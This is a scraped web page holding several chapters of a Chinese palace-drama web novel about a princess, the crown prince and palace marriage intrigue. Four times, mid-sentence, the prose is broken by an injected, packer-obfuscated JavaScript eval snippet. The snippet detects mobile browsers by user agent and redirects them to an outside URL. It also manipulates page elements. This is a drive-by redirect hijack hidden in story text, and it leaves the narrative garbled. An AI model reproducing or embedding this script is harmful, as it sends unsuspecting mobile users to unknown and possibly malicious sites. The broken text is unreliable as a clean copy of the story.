薛柔忍不住拆穿她的把戏：“看没看见，你说了不算，我说了也不算。当时太子也在，不妨请太子过来说道说道，正好还我一个清白。” 太子不肯与薛嘉为伍，反替薛柔证明的来龙去脉，薛嘉曾向舒婕妤和盘托出。舒婕妤不由心虚，脑子一转，开始痴缠景帝：“陛下，妾身只得了这么个女儿，打小捧手心里爱护，一点风霜不舍得叫她经受。含辛茹苦养这么大，谁知无缘无故遭受此劫，险些把性命赔进去……嘉儿至今都在榻上躺着，睡也睡不安稳，好容易闭着眼，呓语不断，一个下午惊醒好几回。妾身恨不能替她承受了……” 景帝近来很疼舒婕妤母女，薛柔看在眼里，隐隐怕他心旌动摇，执意请太子出面澄清事实。景帝春秋已高，架不住漫长的聒噪，摆手令龚福跑一趟东宫。 龚福手脚利索，办事稳妥，少顷，引来太子。 阵仗如此之大，薛怀义事过了一遍耳朵，另外他一直遇事沉着，处变不惊，眼下现身不免处处淡定：“儿臣给父皇母后请安了。” 薛柔从来不像现在这般欢迎过薛怀义，她急切道：“你来得正好……” “小十。”皇后开口，薛柔讪讪闭嘴，皇后方继续询问薛怀义：“白天在御花园，太子可曾见着八公主是怎么坠的水？” 舒婕妤心发慌，偷摸观察薛怀义的神色，一边飞速思索应对之策。 薛怀义娓娓道来：“回母后，八妹妹掉下池塘，是失足所致。” 皇后再度确认：“太子瞧真切了，八公主落水，无人从中作梗，是一场意外？” 薛怀义道：“是。” 皇后舒心一笑，将话头抛给舒婕妤：“舒婕妤，你可也听清楚了？” 舒婕妤悄悄观摩景帝，见其肃着一张脸，着实骇人，连忙把错推给下人，自己则摘得干干净净：“妾身是关心则乱，一时犯了糊涂，轻信下人信口胡吣……待回去以后，妾身一定狠狠惩治那些个烂了嘴的！” 沉冤昭雪后的薛柔，一身轻，有精力挑拣舒婕妤：“好话歹话全让婕妤说完了，真真儿好笑。” “行了。”景帝说，“尽管真相大白，你们皆心存怨言，朕知道。薛嘉薛柔纵容奴仆大打出手，管教不严，惹出众多非议，当罚。各罚抄五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799947|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍论语，禁足一月，但念在皇太后寿辰将至，禁足便免了。至于五遍的论语，太后寿诞后，交与朕过目。” “太子身为储君，任由丑闻滋生，有失储君之道，是为无能，应重罚。罚抄十遍尚书；至太后大寿前不许吃晚膳，空着肚子头脑清醒，好去太庙对着列祖列宗的牌位跪着反躬自省。” 掐指一算，太后寿诞在下月十八，距今足有二十天。薛柔暗自幸灾乐祸，薛怀义有苦头吃了。 这场闹剧，终以薛嘉薛柔各打五十大板、薛怀义重责“二百大板”收尾。 薛嘉联合其母暗害未遂这仇，薛柔牢记于心，奈何风头才过，龙颜才缓和下去，不便立时报复回来，唯好把敌意加倍倾注于笔杆，每日奋笔疾书去完成那五遍论语，边抄边思忖风平浪静后寻仇之计，竟无心出门，一连憋到了太后大寿前夕。 皇后担忧她日夜对着书本把眼睛瞅坏，特许她带贝贝放一放风；放完了，再将亲自精心炮制的一盘绿豆糕送去太庙，给薛怀义空荡荡的肚子添点食儿，权当不久前替薛柔解围的一点绵薄心意。 一听是为薛怀义耗费心神准备的东西，薛柔撂挑子不干了，严词拒绝：“那算哪门子解围，那是事实。即使太子不站出来，儿臣也行得正坐得端。” 皇后叹道：“让你抄论语，你却只顾盲抄，上面的道理全然没领悟。你以为你父皇责备你是为何？” 薛柔油盐不进道：“父皇变心了，疼薛嘉胜过了我，所以宁肯折腾一大圈也不愿信我是无辜的。” 皇后弹弹她的额头，恨铁不成钢道：“你呀你，快十五岁的人了，心智仍然幼稚得像个小娃娃。你父皇怪你，无关薛嘉，无关舒婕妤，根本是为你们这帮儿女将私下的不睦抬到了台面上，致使家丑外扬而怒发冲冠的。” “小十，你大了，不能再跟小时候一样任性了。何况你是公主，一言一行全落在旁人眼皮子底下。我和你父皇现今能力排众议护你，将来呢？” “小十，你总会有需要独当一面的时候啊。” 一席话讲得热切感人，薛柔受之感染，顶撞之辞哽在喉管。 “人上了年纪，就爱唠叨……”皇后轻抚她的额发，柔情款款，“我真希望你能听进去，长远地放在心上。” 薛柔不忍惹皇后伤心，违拗心意道：“我去就是了，母后不准再妄自菲薄了。母后同父皇历来没病没灾，定然会长寿安康的。等我七老八十了，我还要到你们膝下嗲着嗓子撒娇呢！” 皇后被逗笑：“惯会甜言蜜语哄人开心。好了，休要贫了，趁天亮着，赶紧出门吧。” 完了又不放心，叮嘱：“早点回来，别贪玩。” 薛柔明面上笑嘻嘻答应，背地里小声咕叽：“他浑身沾着晦气，扔下食盒就走还恐耽误事，岂会贪玩逗留？除非我脑子坏了。” 打发走薛柔后，皇后交代许嬷嬷：“明儿你去崔家大房院里，就说我宫里新得了些龙井茶，鲜得很，请余夫人前来一品。” 近来她的心老是没来由地发紧，夜里也睡不踏实。思来想去，兴许是小十一天大似一天，婚姻大事却没个着落的缘故。而小十对崔家二郎有意，二人各方面也相配，既如此，不妨早日定下来，就算了却一桩心事了。 8. 逼迫 太庙有一段路，到达之时，斜阳已经坠下天际。 看守的侍卫认得薛柔，兼闻是授皇后之意，痛快放行。 薛柔足底生风，径直走近堂内正中央跪着的背影，朝三喜扔眼色。三喜客客气气把食盒搁置。 “我母后给你的。”“我”字被她咬得格外重，“麻溜吃了，我好回去交差。”每个字俱染着敷衍，她是一万个不想来。 不耐烦告知完毕，抱着胳膊随处巡看，就是不看薛怀义——碍眼。 皇后的厨艺无疑是精湛的，盖子一揭开，绿豆的清香扑鼻而来，饶薛怀义不怎么吃甜食，亦不免馋得吞了口唾沫。 一连二十天，他没碰过一口晚饭。白日挥墨如雨，夜晚虔诚反省。每每黎明时分出太庙回东宫的路上，头晕眼花，胃里灼烧，身心俱疲。 一朝太子，活成他这副狼狈之态，恐怕是空前绝后了。 “多谢……娘娘关怀。”薛怀义竭力克服两膝上那无孔不入的酸麻之感，不使脊梁弯折半分，“只是父皇有令，我不能忤逆，请十妹妹拿走吧。” 薛柔当即怼回去：“叫你吃，你吃就完了，啰里啰嗦的。父皇诚然罚你，可没有遣人盯着你，劝你早些收起那孝子面孔，父皇看不见。你皮子底下是什么人，我清楚得很，更使不着演给我看。” 薛怀义坚守底线，不肯僭越：“今时不同往日，恕我不能从命，妹妹请回吧。” 薛柔不信这个邪，甩开交叉的胳膊，眼神犀利，口角锋芒：“薛怀义，你别以为你站出来说句公道话，替我解了困，就能随意摆布我。我摊开了告诉你，今儿这盘子糕点，你必须吃进嘴里，而且一块也不准剩。” 不敢忤逆父皇，却有胆子违逆她？看来这程子待他宽松了些，致使从中起了误会，叫他认为可以蹬鼻子上脸了。 列祖列宗在前，仿佛赋予无限底气，助薛怀义与薛柔抗衡：“妹妹何必咄咄逼人，非要我死了才肯消停么？” 薛柔恍惚一瞬，讥笑道：“你吓唬谁？有这骨气，当初你便不会死皮赖脸谋见父皇，合该安安分分待在行宫。现今你好处占尽，反而觉得憋屈了？”说着笑意戛然消失，“我咄咄逼人？没错。我只恨我能做的太少，眼看着你抢占一切。” “薛怀义，你若是个人，就把不属于你的通通偿还。否则，便老实受着，”满堂烛光映亮她冷傲的面容，“这都是你咎由自取的。” 那束仇视有力地撬开了心防，宽大的袖筒之下，藏着两个攥到发白的拳头。薛怀义回头仰视薛柔，毫不避讳。这张脸，他会永永远远记得。 他直白的凝望，让薛柔有种被明晃晃玷污的感觉，无比恶心。 “三喜，把盘子递我。”不可再同他对峙了，得赶快应付过去。 三喜大气不敢出，小心翼翼捧上盘子，薛柔没接，仅捏起一块儿糕点，另只空着的手则扳住薛怀义的下颔骨，然后将糕点粗鲁塞进那两片干枯的嘴唇里。不管他是否咽得下去，动作连贯，一块接一块。不出一盏茶，盘底见空。 与薛怀义挂钩的物件，她姑且嫌脏，如今亲手触及真人，定然膈应死了。三喜对她了如指掌，及时奉上一方干净的手帕，供其擦拭。 左擦右擦，横擦竖擦，怎么也擦不干净那股子令人作呕的气味，薛柔恼了，掷开绢帕，大步离开，欲尽快回宫洗净双手。 三喜提起食盒慌慌张张追随。 回去以后，薛柔不止翻来覆去地擦洗双手，又要了热水泡澡。总共换了两次水，前后折腾一个多时辰，晚饭也没顾上。 忧心她饿坏肚子，皇后吩咐小厨房按她平时的口味备好夜宵，由三喜端入寝殿。 薛柔却裹着衾被神色怏怏道：“拿走，我没胃口。” 在三喜的认知里，她心情再坏，亦断不会辜负了美食。这不正常。 “殿下哪里不爽利吗？”三喜仔细着放下托盘，忧心忡忡道，“要不要请太医过来看看？” 薛柔转身朝床里侧：“我没事，单纯不饿。那宵夜给你吃吧，别剩，要不母后该多心了。” 她郁郁不乐，三喜跟着操心，哪里吃得下，跪伏床前眼巴巴的：“奴婢虽然蠢笨，但还有些用处，殿下有什么不对心思的尽管跟奴婢倒，不成的话骂奴婢也是行的。奴婢只求殿下高高兴兴的……” 一个贝贝，一个三喜，任劳任怨听薛柔调遣。对他们，她素来宽和。 “我怀疑我魔怔了。”她抱着被子猛坐起来，烦躁地抓了把头发，“我怎么能对薛怀义摸得下手？他那么低贱，那么讨厌……” 三喜恍悟，原来症结出在太子。 “那会您气极了，这才大意了。”其实三喜也觉不可思议，可她脑子笨，思索半晚得不出个所以然，这时疑问顶到嘴边，唯有找补加安慰了，“殿下千万别过意不去，明儿是正经日子，得早起，如果钻牛角尖，指定一整宿不清净，哪怕没延误，八成呵欠连连，没精打采。太后娘娘的严厉您是领教过的，万一抓着您打瞌睡，势必不能善了。说一千道一万，您当养精蓄锐应对明日的场子才是啊。” 太后不苟言笑，秉性严肃，待人待己皆躲不过严苛二字，不过这四五年来年事已高，腿脚不灵便，不大过问诸事。 遥想太后精神抖擞时，薛柔没少挨训，有一次不留神打碎了慈宁宫的一个花瓶，不及遮掩，太后即命她伸出手来，手执戒尺噼里啪啦打了她三手板。意在令她牢记日后不可再马虎莽撞，务必熟知分寸，三思而行。 薛柔吓倒了，此后能不去慈宁宫就不去，实在逃不开，一定规规矩矩、瞻前顾后，不敢行差踏错一步。 太后打一巴掌，帝后便给一把甜枣。所以，一家子骨肉，她尽情依赖父皇母后，对皇祖母，恨不能疏远到底。 旧日酸楚一幕幕浮现，薛柔不禁打了个寒颤，紧忙打发三喜连吃带拿收拾利索宵夜，吹灯歇了。 翌日，薛柔起了个大早，形容素净，随大流去往慈宁宫为太后祝寿。 尽知太后严苛，诸儿孙未敢慢待，早早于慈宁宫外会集，景帝皇后亦不例外。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799948|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛柔第一眼看见了叔父成王，压抑的兴致勃然冲破禁制，轻手轻脚挪去，乍一拍成王的后背：“皇叔！” 成王唬了一跳，捂着胸口回顾，假意训斥：“你个小鬼头，找打是不是？” 成王乃先帝老来得子，整整和前头的哥哥姐姐差了两辈，今年刚迈入而立之年。成王待人亲和，从不自恃长辈身份而拿腔作势，欣然同众小辈打成一片。 薛柔嬉皮笑脸道：“皇叔就嘴皮子厉害，实际上怂得很，哪个都打不过。” 成王摇着手指头，挖苦回来：“依我看，五遍论语远远不够，应该罚你这死丫头把四书五经通通抄一遍才好。” 这段日子没日没夜地抄书，不夸张地讲，睡里梦里都念着这档子事，薛柔实在厌倦了，忙把食指贴在唇畔，比个噤声的手势：“快别出馊主意，父皇母后那倒是其次，一旦吹去皇祖母耳根子前，我是吃不了兜着走。” 成王看热闹不嫌事大，眼睛斜觑着面无表情的薛嘉，用胳膊肘碰碰薛柔，调侃：“你和小八可真成，把你们的老好人父皇气得吹胡子瞪眼不提，居然牵累得太子跪了大半个月的太庙。”完事竖起大拇指来。 薛嘉、薛怀义二人，实为眼中钉肉中刺，听也听不得。薛柔的好心情陡然沉了一半，偏头往薛嘉处狠狠一瞪眼，口内不忘没好气地搪塞成王：“皇叔一大把年纪的人了，比小孩子还好事，真幼稚。得，我不与你扯闲篇了，以免动静太大惊扰了皇祖母，最后拿我开刀。” 亏得她有先见之明，方退回孙子孙女辈的队列中，慈宁宫宫门大开，以陈嬷嬷为首的两班宫人分两列排开，恭迎众人入内。 好几年不见，薛柔对陈嬷嬷的印象仍然浓墨重彩。这位嬷嬷，比皇祖母更严肃，一张长脸时刻紧绷着，人见怕鬼见愁。薛柔不敢轻狂，一道低头，顺利规避与陈嬷嬷眼神接触的可能性。 先由儿女进去请安贺寿，其余人等静悄悄在外等候。 忙里偷闲，薛柔掏手绢轻轻点去额角的薄汗。前头站着薛嘉，犹如背后长了眼睛似的，薛嘉略略斜着身子揶揄：“原来妹妹也有害怕的时候。” 薛柔掖好帕子，因顾忌身在慈宁宫，不可大声喧哗，便压着嗓子刺儿回去：“栽了一次跟头以后，我也意识到，原来八姐姐的心下流到那种地步。” 姐妹情深的戏码，上演了十几年，何差这一时。薛柔咳嗽几声，弱弱道：“妹妹的话，我听不明白。” 薛柔翻个白眼，懒得搭理她，转而盯上右前方的瘦长人形——苍白的左手自然垂落，指节很瘦，仿若抽了芽的柳条；指关节微微泛红，明明不算明显，却十分刺眼……红的，昨晚在太庙，他的嘴唇也是红的。她的手握下去，连同他瘦削的下巴也印了红，病态的、妖冶的红。 “太后娘娘请诸位殿下进屋。” 陈嬷嬷苍老而沉稳的声音将思绪拉回现实。薛柔抬手拍拍脸颊，手心的凉意恰恰好，警醒她适才的凝视越了界。 那可是薛怀义，身为下贱，一星半点沾惹不得。 9. 婚姻 太后一生恪守礼法，八十岁的高龄，依然正襟危坐，背脊的线条直直的，宛如刀背一般。 孙子孙女们依排行近前行礼说吉祥话，太后掀着薄薄的眼皮子聆听，问过安的便退至一侧。一个挨着一个，没多久，旁侧已然井然有序站了一排。 轮到薛嘉，她不慌不忙上前，三跪九叩，蹦出来的祝词亦字字珠玑，寓意圆满；一行一动，落落大方，深得太后喜欢。 “听闻你不久前失足跌进池塘，生了一场病。可好全了？”特属于老年人的嗓音飘扬而来，当中沉淀着荣宠一生的优雅与庄严。 薛嘉不卑不亢回话：“多谢皇祖母关怀，孙女已无碍了。” 太后颔首：“你先天体弱，平平安安长这么大不容易，以后要当心些。”随后交代小宫女与了一盒天山人参。 薛柔仔细两手接着，莞尔道：“是，孙女谨记皇祖母的叮咛。” 紧跟着是九皇子薛通。薛通少年成名，举止有度，一样得太后欢喜，有来有回说了些话，着一个小宫女捧去两瓶止血化瘀的上等金疮药。薛通毕恭毕敬领受，踅至一侧，目光打向薛柔，隐隐不安。 小十顽皮，偶尔免不得马虎大意，万一像小时候哪句话失了妥当不对皇祖母的心思……但愿她长进些，晓得分寸，左右糊弄过今日。 尚未对上太后的视线，薛柔便觉胆战心惊，慢吞吞移开脚，照着提前练习过的礼数施行起来，万幸没出错，顺利捱到了太后问话的环节。 “这几年你的荒唐事迹，我一一听过了。” 薛柔心下悚然，闷头不敢吭气。 “你的八姐姐长不了你几岁，她处处周全，你却刁钻成这副轻薄样子。”太后喟叹一声，“罢了，我老了，管不了许多。”即摆摆手，“你们各自便宜吧。” 哥哥姐姐们俱被柔善对待，末了还赐下各种物什，偏薛柔挨了教训，又两手空空；一跨出门槛，便忍不住小声嘟囔起来：“我哪样做得不对，干嘛总挑我的不是？规矩也不是，不规矩更不是，啧，真难伺候……” 薛通离她近，于心不忍，伸手轻揉她的头顶予以宽慰：“别难过了，明儿我有空，带你出宫玩。” 吃喝玩乐，人生美差，薛柔满心乐意，阴霾一扫而空，凑近半步笑眯眯道：“哥哥能否疏通疏通，把小崔大人一同邀上？” 她记得准确的话，九哥哥的好友林显似乎与崔介交情匪浅。有这层关系打基础，约来崔介应该不算难事。 薛通玩心大发，模棱两可，故意吊她的胃口：“这个嘛，不好说。毕竟我和小崔大人隔着一层，不熟。成事与否，且听天由命吧。” 薛柔精明，不上套：“少诓我。”过后干脆耍起无赖：“总之，明儿我要见着崔介，不然去了也没趣。” 薛通破功，朗笑道：“好好好，我尽力周旋。” 边走边聊，不知不觉出了慈宁宫，却逢薛嘉薛怀义两人正叙话，薛嘉笑将太后赏的那株人参递出去：“这人参放在我手里也是白白糟蹋，不如赠给有需要的人。” 大耗一场，此刻薛怀义虚弱至极，面白如纸，唇无血色，整个人依稀散着潮气，更像鬼了。 薛怀义微笑道：“皇祖母既赐给妹妹，妹妹自当使得上，何来糟践一说。” 这是迂回着拒绝了。薛嘉胸口憋闷，胳膊发僵，悬在彼此中间，不上不下。 薛怀义不领薛嘉的人情，薛柔快意非常。让她有事没事献殷勤，这下碰一鼻子灰，舒服了。 “那……好吧。”薛柔逞一张嘲讽的嘴脸在旁大剌剌观看，这令薛嘉相当羞赧，强忍难堪转身走开。 自昨晚在太庙和薛怀义有过肌肤接触后，薛柔心乱如麻，当下看着他的正脸，愈觉扎眼，于是破天荒地没找他麻烦，径自乘辇回坤宁宫了。 坤宁宫内，皇后有一搭没一搭地拨弄着香炉里的灰，状似失神。 许嬷嬷打起门帘进屋，见火盆内的碳将燃尽，唤人来添碳。及小宫女冒冒失失进来，心生不快，出言责备：“一个两个光出气不长心眼子！我若没来，火盆烧空了还无知无觉呢。你们呐，操点心，别只晓得吃吃喝喝。” 小宫女忙不迭告罪，许嬷嬷训斥过就算了，不难为她，看着火盆一点点满上，遂放人出去。 “你训她做什么。她们年纪轻，脸皮薄，指不定背着人哭多久。”屋里的对话声惊醒皇后，她撂下小铲子，盖好香炉，回身就着架子上脸盆里的温水净手。 许嬷嬷交心：“那起懒东西，紧管还不成气候，撒开手那还了得。娘娘就是太心善了，惯得他们没个规矩，不成方圆。” 皇后擦净水滴，信步至外间的矮榻上落座，拿起方几上的绣活里外穿引。 许嬷嬷机警，隐约察出皇后的异状，借奉茶的口子试探：“自从娘娘出了慈宁宫便心不在焉的，敢是太后对娘娘说了什么？” 许嬷嬷猜准了。皇后无心针线，搁置一边，口内连连叹气：“太后与我商量，八公主及笄一年多了，竟还没物色着一个驸马；太后觉得崔家百年世家，门楣显耀，今年又出了个状元，堪与皇家结亲。” 听口风，许嬷嬷惴惴不安起来。 崔家孙子辈的一只手数得过来：大房长孙崔碌，人如其名，碌碌无为；二房的崔介，才貌双绝，举世难得；三房的崔护崔荣两兄弟，前者懦弱无能，后者年纪太小，仅仅十岁。通观崔家这些郎君，可为良配的，只那么一位。 莫非…… 一时，主奴二人相视无言，答案尽在不言中。 “这怎么能行？”许嬷嬷两条眉毛几乎连在一起，“崔二公子与咱们小殿下之间那才算才子佳人，天造地设。八公主……”许嬷嬷不便明言，摇头表示。 皇后心烦意燥，扶着太阳穴沉默良久，眉目间多了几分坚决：“旁的，我可以拱手让人，牵涉小十的终身大事，断乎行不通。”哪怕太后当头逼着，亦不好使。 “……明日你照常去崔家，其他的，大不了一个不管顶着呢。” 许嬷嬷毅然称是。 事不宜迟，次日晨起，许嬷嬷搭车子出宫拜访余夫人，余夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799949|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别无话说，应邀入宫。 品一品茶，商议商议两家婚事，日头便爬到了中天。 “时辰不早，我也不留余夫人了。”事关儿女终身，得给人家细细思量的时间，故而皇后体贴人意道。 余夫人一面点头，一面出了宫门，回府全程心猿意马。 崔介在翰林院当值，中午不回来，他父亲崔寿是个闲人，招呼了一桌子饭菜静候余夫人到家。 “夫人快尝尝，这鲈鱼鲜不鲜。”崔寿自个儿上湖边垂钓的鲈鱼，念想着余夫人陪皇后说了一上午的话，必然口干舌燥，故此特特上火烹了犒劳夫人。 余夫人挨着椅子边沿坐下，看着那盘子鱼久久不言语。 崔寿推去一杯清茶：“来回奔波，夫人吃杯茶缓缓。” 茶茶茶，上午在坤宁宫用茶，好容易脱身又叫用茶！余夫人气不打一处来，翻脸无情道：“你儿子就快成了人家的乘龙快婿了，你还浑然不觉呢！” 余夫人一直不喜薛柔强势无理，特别自上次家宴，她吵得崔家鸡飞蛋打起，不喜剧然加深，变为了厌恶。 娶这种人当儿媳妇，和祸害有什么两样？ 崔寿恰恰心如明镜。帝后出面，家里老太太有意，哪里还有别人做主的份。“你我且是其次，重要的是明夷的想法。”他一向尊重儿子的意愿。 余夫人一颗心如同被架在火上炙烤，压根平静不下来：“事情逼到这关节，明夷再不情愿有什么招？说一千道一万，天底下的儿郎那许多，专拣咱们家薅，何苦来！” 心里装着难事，胃里也一阵阵顶得慌，这顿饭，余夫人半口未动。 天将黑透的节骨眼，一日事了，崔介骑马抵达家门口，小厮云澜稳稳接住从马背上递下来的官帽与笏板，踟蹰着说：“公子，夫人早起去了趟坤宁宫，回来以后郁郁寡欢，午膳也没动一筷子，似乎是出了不好的事……” 坤宁宫——崔介敏锐抓到关键信息，垂眼略一思索，跃然下马，官服不及褪下，阔步直入父母房中。 一整个白日，皇后的话在余夫人心中徘徊不散，郁结成病气，窜上头脑，冲得余夫人头昏脑热，现下正仰躺床榻瞑目休养着。崔寿侍候病榻跟前，手拿一块湿手巾细细替余夫人擦着手。 目睹这幕光景，崔介心一沉，驱身近前，矮身伏于病榻：“父亲，母亲这是怎么了？” 余夫人艰难入睡，生恐交谈声惊扰到她，崔寿嘱咐丫鬟认真侍奉病人，而后叫上儿子去前院书房，道明前因后果：“……我们是我们，主要看你自己的意愿。” 崔介表现得相当耐心从容，临到头弹出几个字：“儿子悉听长辈的安排。” 情情爱爱于崔介，乃身外之物，在他看来，娶妻生子和日复一日的生活别无两样——寅时起床，辰时点卯，午时果腹，戌时回家，亥时就寝……按部就班，条理清晰。 如此一来，同谁喜结连理、举案齐眉，皆无差别。非要列出一条来，大抵是他和十公主脾气不合吧。然而不要紧，夫妻一体，他会尽所能包容她的。 10. 暗流 薛通记着薛柔的嘱托，当晚便约见林显，说明意图。 原来这林显和崔家有亲，林显的母亲与余夫人是表姐妹，本家在泉州，先后嫁到了京城，原本不冷不热的关系随之紧密起来。 身为崔介的表弟，林显自然说得上话，当场应承下来。辞别薛通，顺路去崔府归还前几日向崔介借的书。 薛通静候佳音，直到隔天早晨，小厮传讯：“余夫人病倒了，林公子帮着照料，一夜没回。方才传来信，殿下托付的事怕是不成了。” 余夫人体格壮实，多少年来没听说害病，怎么就缠绵病榻了？薛通且按下疑心，问：“有没有提余夫人生了什么病，要不要紧？” 小厮一问摇头三不知，薛通没法子，草草咽了两口素粥，往坤宁宫向皇后请安。 抄书大任终于步入尾声，薛柔得了闲，痛痛快快睡了一夜，一睁眼已是红日满窗。一问三喜，巳时将尽了。 “你干什么吃的，今儿约了九哥哥出宫玩呢，就这么耽误了！”薛柔一边急赤白脸呵斥三喜，一边扯开床幔找鞋子穿。 因来不及，舍了对妆发的精雕细琢，素素净净地跑至皇后寝殿——薛通在此。 隔窗瞟见薛通的影子，她微微松了口气，加快步伐迈进殿内，气喘吁吁道：“我起晚了，还赶得上吧？” 和皇后对视一眼，薛通立即起身，比着身边的椅子说：“急匆匆的做什么，先坐下来歇歇。” 心有记挂，薛柔坐不住，直接上手抓薛通的胳膊，摇晃着问：“那事怎么样了，还顺利吗？” 对崔介的良苦用心，她没向母后坦白。她要面子，当时信誓旦旦说不稀罕他，也就一个多月，总不好打自己的脸。 “这事，有些棘手。”薛通按她坐好，面露难色，“余夫人病了，小崔大人忙着侍疾，翰林院那都告了假，短时间恐怕出不了门。” 肉眼可见地，薛柔的眼色瞬间黯淡无光，语气也蔫蔫巴巴的：“这样啊……那余夫人病势很重吗？” 薛通摇头：“不清楚。” 薛柔满怀失望地点点头，缄默无言。 “别灰心啊！”薛通调动气氛，“缺了小崔大人，咱们也能玩啊。我都打听好了，今儿街上有演杂耍的，你没看过，正好让你开开眼界。” 崔介缺席，玩乐之兴减了大半，薛柔犹犹豫豫，好一阵没个决断。 “你就去吧，出去撒撒欢，透透气。”皇后示意许嬷嬷塞给她一袋银子，薛通首先推三阻四：“妹妹瞧上什么，儿臣买，儿臣有钱，哪里用得着叫妹妹自掏腰包。” 遗憾归遗憾，去坊间热闹热闹却没理由错过。薛柔调理好心态，随声附和：“是呀母后，九哥哥如今的实力不容小觑，我花他一些跟从牛身上拔一根毛没两样，您仍收回去吧。” 兄妹俩亲近，皇后打心眼里欣慰，笑送他们出门。待二人嬉笑之音缥缈，笑意一层层剥落，握着门框的手寸寸收紧，自言自语：“这是不乐意了。” 许嬷嬷耳尖，字斟句酌道：“一切还没确切的消息呢，娘娘别多心。” 皇后抚着心口，怅然道：“近日古怪，心里有一阵没一阵地发慌，不得不叫我忧心啊……” 许嬷嬷劝慰：“逢太后寿宴，事事离不开您悉心操持，想必是过度劳累，身体也处处提醒您多加保重呢。一会老奴上太医院，请刘院判过来看看。没病当然庆幸，有病也不怕，安心将养就好。” 皇后有所动容，眺望宫墙外的蓝天白云：“便依你的吧。” 钟秀宫。 一个小宫女端来一小碗参鸡汤，但被薛嘉喝退：“走开，我不喝！” 小宫女进退维艰，泫然欲泣。 舒婕妤伸手要来参汤，打发走小宫女，语重心长道：“崔家几代名门，家底厚重，崔二郎君又才华济济、相貌堂堂，能嫁给他，你后半辈子真是无忧无虑，连我这个做母亲的都应该烧一把高香拜拜，你倒挑剔上了。” 打从生出促成薛嘉和崔介的念头那天开始，舒婕妤夜夜不能寐，辗转反侧筹算如何从中间牵个线，一连熬了几个大夜，算盘珠子便朝准了太后。 太后往日待薛嘉不薄，兼而有薛柔那个混账对比，于是乎更厚待薛嘉。所以，前几日舒婕妤斗胆求见太后，诉一番衷肠。太后果然重视，也觉得崔介是个合适人选，不介意替她主张。 前有太后这尊大佛保着，舒婕妤断定，这桩如意婚事必得圆满，好几日喜不能禁，夜里宿下也在为来日的荣宠而开怀。 薛嘉丧着小脸反驳：“可是母亲是不是忘了，皇后和父皇替薛柔看准了崔二郎……凭咱们再有能耐，安能截胡？” 凭什么她事事比不开薛柔，处处得拼尽全力去和薛柔争，到最后争得头破血流，竟还不一定争到手。 薛嘉不平，索性起了破罐子破摔之意。 另外，那崔介再万里挑一，难敌并非她欣赏的那款。 薛嘉的思绪渐渐渺茫，眼光跟着迷离恍惚，脑海里蓦然闪过一张鬼里鬼气的脸——稀里糊涂，不伦不类。 薛嘉一惊，迅速扑闪几下眼皮子，心慢慢静了。 舒婕妤胸有成竹道：“帝后再有威望，上面还有老佛爷坐镇。老佛爷发话，这事啊，不会有闪失的。”她捉住薛嘉的手腕，拍拍手背，“嘉儿，咱们母女扬眉吐气，指日可待了。” 薛嘉轻咬下唇，难以分辩。 舒婕妤大喜过望，未尝觉察那点怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799950|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异，将参汤搁到薛嘉手心，喜滋滋道：“太后赏的人参，价值千金，浪费了多可惜。” 东宫。 程胜化身耳报神，近薛怀义之身，神神秘秘道：“太子殿下，宫里的人全在传，今儿早上皇后娘娘传唤余夫人进宫，预备定下十公主同崔二郎的好事呢。” 景帝责罚的十遍尚书还剩两遍，薛怀义从早抄到了现在。只见他执笔之手微微一颤，笔尖由之堕下，行与行当中赫然黑了一点。景帝要求严格，通篇错字且不允许出现一个，脏污断乎不能行。 “嗯。”薛怀义凝神，慨然撕下已然遍布字迹的那页纸，揉成团丢入渣斗，又不间断地落下笔墨，“日期定了？”口气之淡然，宛如随口一问。 别看层层宫墙，重重宫门——偌大皇宫，实则哪块有什么风吹草动，不消一日大可传得沸反盈天。比方今天坤宁宫之事，程胜便了若指掌。 “没呢，余夫人当时拿不定主意，得家去郑重商议。”程胜将所知所闻尽数倾吐，“奴才大胆说句不中听的，真真儿希望那两位成就好事，越快越好；十公主早一天出嫁，不止东宫，阖宫上下皆平安了，奴才这干人，才好伸出脑袋来当差。” 